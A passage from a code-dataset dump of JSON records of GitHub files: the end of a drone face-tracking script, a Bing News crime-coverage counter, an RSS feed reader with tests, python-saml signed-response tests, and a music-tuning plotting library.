(x+w, y+h), (255, 0, 0), 5) # contour rectangle\n cv2.circle(frame, (int(x+w/2), int(y+h/2)), 12, (255, 0, 0), 1) # face-centered circle\n # print(frame.shape)\n # cv2.line(frame, (int(x+w/2), int(720/2)), (int(960/2), int(720/2)), (0, 255, 255))\n\n cv2.circle(frame, (int(SET_POINT_X), int(SET_POINT_Y)), 12, (255, 255, 0), 8) # setpoint circle\n i = i+1\n distanceX = x+w/2 - SET_POINT_X\n distanceY = y+h/2 - SET_POINT_Y\n\n up_down_velocity = 0\n right_left_velocity = 0\n if state == State.detectingFaces:\n state = State.goingToPerson\n\n if distanceX < -TOLERANCE_X:\n print(\"Mover dron a la izquierda\")\n right_left_velocity = - DRONE_SPEED_X\n\n elif distanceX > TOLERANCE_X:\n print(\"Mover el dron a la derecha\")\n right_left_velocity = DRONE_SPEED_X\n else:\n print(\"OK\")\n\n if distanceY < -TOLERANCE_Y:\n print(\"Mover el dron para arriba\")\n up_down_velocity = DRONE_SPEED_Y\n elif distanceY > TOLERANCE_Y:\n print(\"Mover el dron para abajo\")\n up_down_velocity = - DRONE_SPEED_Y\n\n else:\n print(\"OK\")\n\n if abs(distanceX) < SLOWDOWN_THRESHOLD_X:\n right_left_velocity = int(right_left_velocity / 2)\n if abs(distanceY) < SLOWDOWN_THRESHOLD_Y:\n up_down_velocity = int(up_down_velocity / 2)\n\n drone.send_rc_control(right_left_velocity, 0, up_down_velocity, 0)\n\n cv2.imshow('Video', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'): # quit from script\n break\n\n# video_capture.release()\ndrone.land()\ndrone.streamoff()\ncv2.destroyAllWindows()\nsys.exit()\n\n", "repo_name": "Jacobprojects/Tello-FaceTrack", "sub_path": "facetrack/face.py", "file_name": "face.py", "file_ext": "py", "file_size_in_byte": 3199, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "enum.Enum", "line_number": 8, "usage_type": "name"}, {"api_name": "cv2.CascadeClassifier", "line_number": 35, "usage_type": "call"}, {"api_name": "djitellopy.Tello", "line_number": 36, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 54, "usage_type": "attribute"}, {"api_name": "cv2.CASCADE_SCALE_IMAGE", "line_number": 61, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 71, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 75, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 112, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 120, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 121, "usage_type": "call"}]} {"seq_id": "33282777619", "text": "import requests\nimport pandas as pd\n\n# This time, I'm thinking I should develop a measure of how much different papers are covering crime.\n# do newspapers in cities with more crime cover it more? Or, rather, which newspapers take notice when\n# there is a crime wave going on in their city?\n# There are limitations to using this \"search\" method. Perhaps we should be checking for articles that have\n# \"yesterday\", \"this week\", \"this morning\" or something to that effect in their text. That way, we know they\n# are discussing recent crime rather than a crime long ago.\n# Another limitation is that cities with higher crime may be more prone to writing summary articles. When Chicago\n# has 50 shootings in a weekend, even very crime-centric paper could be inclined to write a summary article of all of\n# the shootings, and then perhaps cover only a few of the victims. We can probably handle that by taking the square\n# root of crime in the city.\n# I suppose this also means that we're going to focus in on a couple of major cities. Perhaps just look at NYC,\n# LA, and Seattle. Then, \n\ncities = [ 'Atlanta',\n '/\"District of Columbia/\"',\n 'Seattle',\n 'St. Louis',\n 'New York',\n 'Madison',\n 'Chicago',\n 'Los Angeles',\n 'San Francisco',\n 'Miami',\n 'Orlando',\n 'Columbus',\n 'Boston',\n 'Portland',\n 'Detroit',\n 'Baltimore',\n 'Pittsburgh',\n 'Oakland',\n 'Houston',\n 'Philadelphia',\n 'Newark',\n 'Dallas',\n 'Austin',\n 'Cleveland',\n 'Denver',\n 'Tampa',\n 'Sacramento',\n 'Kansas City',\n 'Las Vegas',\n 'Phoenix',\n 'Salt Lake City',\n 'San Diego',\n 'Cincinnati',\n 'Indianapolis',\n 'Oklahoma City',\n 'San Antonio'\n ]\nqueries = ['any','violence','looting','arson']\n\ndf = pd.DataFrame({ 'city' : sorted(cities * len(queries)),\n 'query': queries * len(cities),\n 'hits' : [0] * len(queries) * len(cities) })\n\nstrPath = '/home/chmpearson/keys/bing_sub_key.txt'\nf = open(strPath)\nsubscription_key = f.read()\n\nendpoint = 'https://api.cognitive.microsoft.com/bing/v7.0/news/search'\nsince = '2020-06-30'\nheaders = {\"Ocp-Apim-Subscription-Key\" : subscription_key}\nparams = { \"q\": search_term,\n \"sortBy\": \"Date\",\n \"since\": since,\n \"textDecorations\": True,\n \"textFormat\": \"HTML\"\n }\n\nfor i, city, query in zip(df.index, df['city'], df['query'] ):\n print(i)\n print(city)\n print(query)\n if query == \"any\":\n params['q'] = city\n else:\n params['q'] = city + '+' + query\n df.iloc[i,2] = requests.get(endpoint, params = params, headers = headers).json()['totalEstimatedMatches']\n\ndf.to_csv('unrest.csv')", "repo_name": "cmpear/media_unrest", "sub_path": "media_bias.py", "file_name": "media_bias.py", "file_ext": "py", "file_size_in_byte": 3022, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.DataFrame", "line_number": 56, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 82, "usage_type": "call"}]} {"seq_id": "17655469820", "text": "import gevent.monkey\ngevent.monkey.patch_all(thread=False)\n\nimport gevent\nfrom gevent import queue\nimport queue as builtin_queue\n\nimport click\nimport feedparser\nimport requests\nfrom cachecontrol import CacheControl\nfrom furl import furl\nimport dateutil.parser\n\nimport uuid\nimport hashlib\nimport random\nimport time\nimport sys\nimport textwrap\nimport logging\n\nlog = logging.getLogger(__name__)\n\norig_session = requests.session()\norig_session.headers = {'User-Agent': 'feedreader github.com/simonschmidt/feedreader'}\n\nsession = CacheControl(orig_session)\n\n\nclass Feed(object):\n \"\"\"\n A self-refreshing feed.\n\n Arguments:\n url(str): Feed url\n interval(int): Polling interval\n include_initial(bool): Include items from first update\n\n Attributes:\n subscribers(set): Queues that will recieve content on updates\n\n\n Example:\n >>> feed = Feed('example://foo')\n >>> q = queue.Queue()\n >>> feed.subscribers.add(q)\n \"\"\"\n RETRY_DELAY = 60\n\n def __init__(self, url, interval=60, include_initial=False, _spawn_greenlet=True):\n self.url = url\n self.interval = interval\n self._discard_next_update = not include_initial\n\n # Queues for interested parties\n self.subscribers = set()\n\n # All seen id's, worth limiting size of this?\n self._old_ids = set()\n\n # Start fetching\n if _spawn_greenlet:\n self._greenlet = gevent.spawn(self._fetcher)\n\n def update(self):\n \"\"\"Manually trigger update\"\"\"\n items = self._get_new_items()\n\n if self._discard_next_update:\n self._discard_next_update = False\n items = []\n\n self._notify_subscribers(items)\n\n return items\n\n def _notify_subscribers(self, items):\n for item in items:\n for q in self.subscribers:\n try:\n q.put_nowait((self, item))\n except Exception:\n log.exception(\"Failed to enqueue item\")\n\n def _get_new_items(self):\n items = _items_from_feed(self.url, skip_ids=self._old_ids)\n\n for item in items:\n self._old_ids.add(_item_id(item))\n\n return items\n\n def _fetcher(self):\n \"\"\"Schedule updates\"\"\"\n while True:\n if len(self.subscribers) == 0:\n log.debug(\"Nobody cares about %s\", self)\n gevent.sleep(1)\n continue\n\n try:\n log.debug(\"Updating feed %s\", self)\n self.update()\n log.debug(\"Updated feed %s\", self)\n except Exception as exc:\n retry_delay = min(self.RETRY_DELAY, self.interval)\n log.warning(\"Unable to update %s, retrying in %s seconds\", self, retry_delay, exc_info=True)\n gevent.sleep(retry_delay)\n continue\n\n # BUG: If interval is lowered it wont take effect until after next update\n gevent.sleep(self.interval)\n\n def __repr__(self):\n return \"Feed\".format(self.url, self.interval)\n\n\ndef _item_id(item):\n \"\"\"ID for a feed item\"\"\"\n if item.id:\n return item.id\n\n # No ID, concat title and published *shrug*\n return hashlib.sha256(\"{}|{}\".format(item.title, item.published)).hexdigest()\n\n\ndef _items_from_feed(url, skip_ids=None):\n scheme = furl(url).scheme\n\n if scheme == 'example':\n items = _fake_items(url)\n elif scheme in ('http', 'https'):\n r = session.get(url)\n r.raise_for_status()\n items = feedparser.parse(r.text).entries\n else:\n # It's a baby whale Jay!\n raise ValueError(\"Unsupported scheme '{}' in '{}'\".format(scheme, url))\n\n items = [\n item\n for item in items\n if (skip_ids is None) or (_item_id(item) not in skip_ids)]\n items.sort(key=lambda x: x.published_parsed or x.id)\n\n return items\n\n\nclass FakeEntry(object):\n def __init__(self, id_=None):\n self.id = id_ or str(uuid.uuid4())\n self.title = \"\"\n self.link = \"example://{}\".format(self.id)\n self.published = '2001-02-03 04:05:06'\n self.published_parsed = None\n\n\ndef _fake_items(url):\n if url != 'example://test':\n time.sleep(random.randint(1, 2))\n if random.random() < 0.3:\n raise RuntimeError(\"eth0 on fire\")\n\n return [FakeEntry('old_id'), FakeEntry()]\n\n\ndef test_initial_items_excluded():\n f = Feed(\"example://test\", _spawn_greenlet=False)\n\n assert len(f.update()) == 0\n assert len(f.update()) > 0\n\n\ndef test_item_included_exactly_once():\n f = Feed('example://test', include_initial=True, _spawn_greenlet=False)\n\n initial_ids = [_item_id(item) for item in f.update()]\n assert 'old_id' in initial_ids\n\n new_ids = [_item_id(item) for item in f.update()]\n assert len(new_ids) > 0\n assert 'old_id' not in new_ids\n\n\ndef test_items_are_queued():\n q = builtin_queue.Queue()\n f = Feed('example://test', include_initial=True, _spawn_greenlet=False)\n\n f.subscribers.add(q)\n f.update()\n\n (f_res, item) = q.get()\n assert f_res is f\n\n\n@click.command()\n@click.option(\n '--loglevel',\n type=click.Choice(['CRITICAL', 'ERROR', 'WARNING', 'INFO', 'DEBUG']),\n default='ERROR')\n@click.option('--interval', default=5 * 60, metavar='SECONDS', help='Update interval')\n@click.option('--include-initial/--drop-initial', default=False)\n@click.argument('urls', nargs=-1, metavar='URL...')\ndef main(*, interval, loglevel, include_initial, urls):\n \"\"\"Feed reader for RSS and Atom\"\"\"\n logging.basicConfig(level=loglevel, stream=sys.stderr)\n\n print_queue = queue.Queue()\n for url in urls:\n feed = Feed(url, interval, include_initial=include_initial)\n feed.subscribers.add(print_queue)\n\n def printer():\n template = '\\n'.join((\"{date}\", \"{feed}\", \" {title}\", \" {link}\", \"\"))\n for feed, item in print_queue:\n title_lines = '\\n '.join(textwrap.wrap(item.title))\n output = template.format(\n date=dateutil.parser.parse(item.published),\n feed=feed,\n title=title_lines,\n link=item.link)\n print(output)\n\n printer_greenlet = gevent.spawn(printer)\n gevent.wait([printer_greenlet])\n", "repo_name": "simonschmidt/feedreader", "sub_path": "feedreader.py", "file_name": "feedreader.py", "file_ext": "py", "file_size_in_byte": 6295, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "gevent.monkey.monkey.patch_all", "line_number": 2, "usage_type": "call"}, {"api_name": "gevent.monkey.monkey", "line_number": 2, "usage_type": "attribute"}, {"api_name": "gevent.monkey", "line_number": 2, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 23, "usage_type": "call"}, {"api_name": "requests.session", "line_number": 25, "usage_type": "call"}, {"api_name": "cachecontrol.CacheControl", "line_number": 28, "usage_type": "call"}, {"api_name": "gevent.spawn", "line_number": 64, "usage_type": "call"}, {"api_name": "gevent.sleep", "line_number": 99, "usage_type": "call"}, {"api_name": "gevent.sleep", "line_number": 109, "usage_type": "call"}, {"api_name": "gevent.sleep", "line_number": 113, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 125, "usage_type": "call"}, {"api_name": "furl.furl", "line_number": 129, "usage_type": "call"}, {"api_name": "feedparser.parse", "line_number": 136, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 152, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 161, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 161, "usage_type": "call"}, {"api_name": "random.random", "line_number": 162, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 187, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 207, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 207, "usage_type": "attribute"}, {"api_name": "gevent.queue.Queue", "line_number": 209, "usage_type": "call"}, {"api_name": "gevent.queue", "line_number": 209, "usage_type": "name"}, {"api_name": "textwrap.wrap", "line_number": 217, "usage_type": "call"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 219, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 219, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 219, "usage_type": "name"}, {"api_name": "gevent.spawn", "line_number": 225, "usage_type": "call"}, {"api_name": "gevent.wait", "line_number": 226, "usage_type": "call"}, {"api_name": "click.command", "line_number": 197, "usage_type": "call"}, {"api_name": "click.option", "line_number": 198, "usage_type": "call"}, {"api_name": "click.Choice", "line_number": 200, "usage_type": "call"}, {"api_name": "click.option", "line_number": 202, "usage_type": "call"}, {"api_name": "click.option", "line_number": 203, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 204, "usage_type": "call"}]} {"seq_id": "16243510488", "text": "# -*- coding: utf-8 -*-\n\n# MIT License\n\nfrom base64 import b64encode\nimport json\nfrom os.path import dirname, join, exists\nimport unittest\n\nfrom onelogin.saml2.response import OneLogin_Saml2_Response\nfrom onelogin.saml2.settings import OneLogin_Saml2_Settings\n\n\nclass OneLogin_Saml2_SignedResponse_Test(unittest.TestCase):\n data_path = join(dirname(dirname(dirname(dirname(__file__)))), 'data')\n settings_path = join(dirname(dirname(dirname(dirname(__file__)))), 'settings')\n\n def loadSettingsJSON(self):\n filename = join(self.settings_path, 'settings1.json')\n if exists(filename):\n stream = open(filename, 'r')\n settings = json.load(stream)\n stream.close()\n return settings\n else:\n raise Exception('Settings json file does not exist')\n\n def file_contents(self, filename):\n f = open(filename, 'r')\n content = f.read()\n f.close()\n return content\n\n def testResponseSignedAssertionNot(self):\n \"\"\"\n Tests the getNameId method of the OneLogin_Saml2_Response\n Case valid signed response, unsigned assertion\n \"\"\"\n settings = OneLogin_Saml2_Settings(self.loadSettingsJSON())\n message = self.file_contents(join(self.data_path, 'responses', 'open_saml_response.xml'))\n response = OneLogin_Saml2_Response(settings, b64encode(message))\n\n self.assertEquals('someone@example.org', response.get_nameid())\n\n def testResponseAndAssertionSigned(self):\n \"\"\"\n Tests the getNameId method of the OneLogin_Saml2_Response\n Case valid signed response, signed assertion\n \"\"\"\n settings_info = self.loadSettingsJSON()\n settings_info['idp']['entityId'] = \"https://federate.example.net/saml/saml2/idp/metadata.php\"\n settings_info['sp']['entityId'] = \"hello.com\"\n\n settings = OneLogin_Saml2_Settings(settings_info)\n message = self.file_contents(join(self.data_path, 'responses', 'simple_saml_php.xml'))\n response = OneLogin_Saml2_Response(settings, b64encode(message))\n\n self.assertEquals('someone@example.com', response.get_nameid())\n\n\nif __name__ == '__main__':\n runner = unittest.TextTestRunner()\n unittest.main(testRunner=runner)\n", "repo_name": "SAML-Toolkits/python-saml", "sub_path": "tests/src/OneLogin/saml2_tests/signed_response_test.py", "file_name": "signed_response_test.py", "file_ext": "py", "file_size_in_byte": 2264, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 640, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.TestCase", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 20, "usage_type": "call"}, {"api_name": "json.load", "line_number": 22, "usage_type": "call"}, {"api_name": "onelogin.saml2.settings.OneLogin_Saml2_Settings", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "onelogin.saml2.response.OneLogin_Saml2_Response", "line_number": 41, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 41, "usage_type": "call"}, {"api_name": "onelogin.saml2.settings.OneLogin_Saml2_Settings", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "onelogin.saml2.response.OneLogin_Saml2_Response", "line_number": 56, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 56, "usage_type": "call"}, {"api_name": "unittest.TextTestRunner", "line_number": 62, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 63, "usage_type": "call"}]} {"seq_id": "38681169086", "text": "import matplotlib.pyplot as plt\nimport matplotlib.lines as lines\nimport math\nfrom numpy import array, linspace\nimport lib.sethares as sethares\nimport lib.tuning as tuning\n\n\nclass TuningPlot():\n def __init__(self, direction = 'h', size = 10, rangehigh = 1):\n self.pos = 0\n self.ticks = []\n self.ticklabels = []\n self.ratios = []\n self.direction = direction\n self.rangehigh = rangehigh\n self.fig, self.ax = plt.subplots(figsize=(size, size))\n\n def plotTuning(self, tuning, repeat = 1, notes = None, label = None):\n for i in range(len(tuning.intervals)*repeat):\n if (notes is None or i in notes):\n interval = tuning.getInterval(i)\n intervalName = tuning.getIntervalName(i)\n if (self.direction == 'v'):\n self.ax.add_line(lines.Line2D([self.pos,self.pos+1], [interval, interval], lw=2, color=\"#a75d9b\"))\n self.ax.annotate(intervalName, xy=(self.pos, interval), xycoords='data', xytext=(3, 3), textcoords='offset points')\n else:\n self.ax.add_line(lines.Line2D([interval, interval], [self.pos,self.pos+1], lw=2, color=\"#a75d9b\"))\n self.ax.annotate(intervalName, xy=(interval, self.pos+0.5), xycoords='data', xytext=(3, 3), textcoords='offset points')\n if (label is None):\n self.addCol(tuning.name)\n else:\n self.addCol(label)\n\n def plotMode(self, mode, root = 0, repeat = 1, label = None, wrap = False):\n self.plotTuning(mode.tuning, repeat, mode.getNotes(root, repeat, wrap), label)\n\n def plotChord(self, chord, root = 0, label = None):\n self.plotTuning(chord.mode.tuning, self.rangehigh, chord.getNotes(root), label)\n\n def plotDissonance(self, harmonics, scale = 4):\n freq = 500 * array(harmonics)\n amp = 0.88 ** (array(harmonics)-1)\n diss = sethares.dissonanceCurve(freq, amp, 2**self.rangehigh)\n yvalues = list(map(tuning.ratioToOctaves, linspace(1, 2**self.rangehigh, len(diss))))\n if (self.direction == 'v'):\n self.ax.plot((diss/scale)+self.pos, yvalues)\n else:\n self.ax.plot(yvalues, ((scale-diss)/scale)+self.pos) \n self.addCol(\"Dissonance\")\n \n def plotRatios(self, ratios):\n self.ratios = ratios\n for n, d in ratios:\n if (self.direction == 'v'):\n plt.axhline(tuning.ratioToOctaves(n/d), color='silver')\n else:\n plt.axvline(tuning.ratioToOctaves(n/d), color='silver')\n\n def addCol(self, name):\n self.ticks.append(self.pos+0.5)\n self.ticklabels.append(name)\n self.pos = self.pos + 1\n\n def plot(self, aspect = 0.1):\n if (self.direction == 'v'):\n self.ax.set(xlim=(0, self.pos), ylim=(0, self.rangehigh), aspect=5)\n plt.xticks(self.ticks, self.ticklabels)\n plt.yticks([tuning.ratioToOctaves(n/d) for n, d in self.ratios], ['{}/{}'.format(n, d) for n, d in self.ratios])\n else:\n self.ax.set(xlim=(0, self.rangehigh), ylim=(self.pos, 0), aspect=aspect*self.rangehigh)\n plt.yticks(self.ticks, self.ticklabels)\n plt.xticks([tuning.ratioToOctaves(n/d) for n, d in self.ratios], ['{}/{}'.format(n, d) for n, d in self.ratios])\n self.ax.grid(False)\n plt.show()\n\n\nclass TuningPolarPlot():\n def __init__(self, size = 10, width = 1, height = 1, plots = 1, rangehigh = 1):\n self.pos = 0\n self.plots = plots\n self.ticks = []\n self.ticklabels = []\n self.ratios = []\n self.rangehigh = rangehigh\n self.width = width\n self.height = height\n self.plotnum = 0\n self.fig = plt.figure(figsize=(size*width, size*height))\n self.fig.tight_layout()\n self.newPlot()\n plt.subplots_adjust(wspace=0.3, hspace=0.3)\n\n def newPlot(self):\n self.plotnum = self.plotnum + 1\n self.ax = self.fig.add_subplot(self.height, self.width, self.plotnum, projection='polar')\n\n def plotDissonance(self, harmonics, scale = 4):\n freq = 500 * array(harmonics)\n amp = 0.88 ** (array(harmonics)-1)\n diss = sethares.dissonanceCurve(freq, amp, 2**self.rangehigh)\n yvalues = list(map(lambda r: tuning.ratioToOctaves(r)*2*math.pi, linspace(1, 2**self.rangehigh, len(diss))))\n self.ax.plot(yvalues, ((scale-diss)/scale))\n\n def plotRatios(self, ratios, offset=0):\n self.ratios = ratios\n self.ratiosOffset = offset\n\n def plotTuning(self, tuning, repeat = 1, notes = None, label = None):\n x_values = []\n y_values = []\n for i in range(len(tuning.intervals)*repeat):\n if (notes is None or i in notes):\n interval = tuning.getInterval(i)\n intervalName = tuning.getIntervalName(i)\n plt.plot(interval*2*math.pi, 1, marker='o', markersize=10, color=\"#008583\")\n # self.ax.add_line(lines.Line2D([interval, interval], [self.pos,self.pos+1], lw=2))\n self.ax.annotate(intervalName, xy=(interval*2*math.pi, 1), xycoords='data', xytext=(interval*2*math.pi, 1.25), \n textcoords='data', va='center', ha='center', color=\"#008583\")\n\n def plotScale(self, scale, root = 0, repeat = 1, label = None, wrap = False):\n x_values = []\n y_values = []\n notes = scale.getNotes(root, repeat, wrap)\n for i in range(len(scale.tuning.intervals)*repeat):\n if (notes is None or i in notes):\n interval = scale.tuning.getInterval(i)\n intervalName = scale.tuning.getIntervalName(i)\n x_values.append(interval*2*math.pi)\n y_values.append(1)\n self.ax.annotate(intervalName, xy=(interval*2*math.pi, 1), xycoords='data', xytext=(interval*2*math.pi, 1.25), \n textcoords='data', va='center', ha='center', color=\"#a75d9b\")\n plt.plot(x_values, y_values, marker='o', markersize=10, color=\"#a75d9b\", linestyle=\"-\")\n self.ax.annotate(label, xy=(0, 0), xycoords='data', ha='center', color=\"#a75d9b\", fontsize=16)\n # self.ax.title.set_text(label)\n\n def plotChord(self, chord, root = 0, label = None, color = \"#e14200\"):\n x_values = []\n y_values = []\n notes = chord.getNotes(root)\n notes = list(map(lambda n: n%len(chord.scale.tuning.intervals), notes))\n for i in range(len(chord.scale.tuning.intervals)):\n if (notes is None or i in notes):\n interval = chord.scale.tuning.getInterval(i)\n intervalName = chord.scale.tuning.getIntervalName(i)\n x_values.append(interval*2*math.pi)\n y_values.append(1)\n self.ax.annotate(intervalName, xy=(interval*2*math.pi, 1), xycoords='data', xytext=(interval*2*math.pi, 1.25), \n textcoords='data', va='center', ha='center', color=color)\n x_values.append(x_values[0])\n y_values.append(y_values[0])\n plt.plot(x_values, y_values, marker='o', markersize=6, color=color, linestyle=\"--\")\n self.ax.annotate(label, xy=(0, 0), xycoords='data', ha='center', color=color, fontsize=16)\n\n def plot(self):\n plt.yticks([1], [\"\"])\n plt.xticks([(tuning.ratioToOctaves(n/d)+self.ratiosOffset)%1*2*math.pi for n, d in self.ratios], ['' for n, d in self.ratios])\n for i in range(len(self.ratios)):\n ratioLabel = '{}/{}'.format(self.ratios[i][0], self.ratios[i][1])\n x = (tuning.ratioToOctaves(self.ratios[i][0]/self.ratios[i][1])+self.ratiosOffset)%1*2*math.pi\n self.ax.annotate(ratioLabel, xy=(x, 0.7), xycoords='data', ha='center', color=\"black\")\n self.ax.set_theta_direction(-1)\n self.ax.set_theta_offset(math.pi / 2.0)\n self.ax.set(ylim=(0, 1.1))\n self.ax.set_frame_on(False)\n plt.grid(axis='y', color='#008583', linestyle='-', linewidth=2)\n plt.grid(axis='x', color='silver', linestyle='-', linewidth=1)\n if(self.plotnum < self.plots):\n self.newPlot()\n\n def show(self):\n plt.show()\n", "repo_name": "pigatron-industries/xen_quantizer", "sub_path": "python/lib/tuningplot.py", "file_name": "tuningplot.py", "file_ext": "py", "file_size_in_byte": 8167, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.subplots", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "lib.tuning.intervals", "line_number": 20, "usage_type": "attribute"}, {"api_name": "lib.tuning", "line_number": 20, "usage_type": "name"}, {"api_name": "lib.tuning.getInterval", "line_number": 22, "usage_type": "call"}, {"api_name": "lib.tuning", "line_number": 22, "usage_type": "name"}, {"api_name": "lib.tuning.getIntervalName", "line_number": 23, "usage_type": "call"}, {"api_name": "lib.tuning", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.lines", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.lines", "line_number": 28, "usage_type": "name"}, {"api_name": "lib.tuning.name", "line_number": 31, "usage_type": "attribute"}, {"api_name": "lib.tuning", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "lib.sethares.dissonanceCurve", "line_number": 44, "usage_type": "call"}, {"api_name": "lib.sethares", "line_number": 44, "usage_type": "name"}, {"api_name": "lib.tuning.ratioToOctaves", "line_number": 45, "usage_type": "attribute"}, {"api_name": "lib.tuning", "line_number": 45, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "lib.tuning.ratioToOctaves", "line_number": 56, "usage_type": "call"}, {"api_name": "lib.tuning", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "lib.tuning.ratioToOctaves", "line_number": 58, "usage_type": "call"}, {"api_name": "lib.tuning", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "lib.tuning.ratioToOctaves", "line_number": 69, "usage_type": "call"}, {"api_name": "lib.tuning", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "lib.tuning.ratioToOctaves", "line_number": 73, "usage_type": "call"}, {"api_name": "lib.tuning", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 100, "usage_type": "call"}, {"api_name": "lib.sethares.dissonanceCurve", "line_number": 101, "usage_type": "call"}, {"api_name": "lib.sethares", "line_number": 101, "usage_type": "name"}, {"api_name": "lib.tuning.ratioToOctaves", "line_number": 102, "usage_type": "call"}, {"api_name": "lib.tuning", "line_number": 102, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 102, "usage_type": "call"}, {"api_name": "lib.tuning.intervals", "line_number": 112, "usage_type": "attribute"}, {"api_name": "lib.tuning", "line_number": 112, "usage_type": "name"}, {"api_name": "lib.tuning.getInterval", "line_number": 114, "usage_type": "call"}, {"api_name": "lib.tuning", "line_number": 114, "usage_type": "name"}, {"api_name": "lib.tuning.getIntervalName", "line_number": 115, "usage_type": "call"}, {"api_name": "lib.tuning", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 116, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 118, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 129, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 131, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 146, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 148, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": 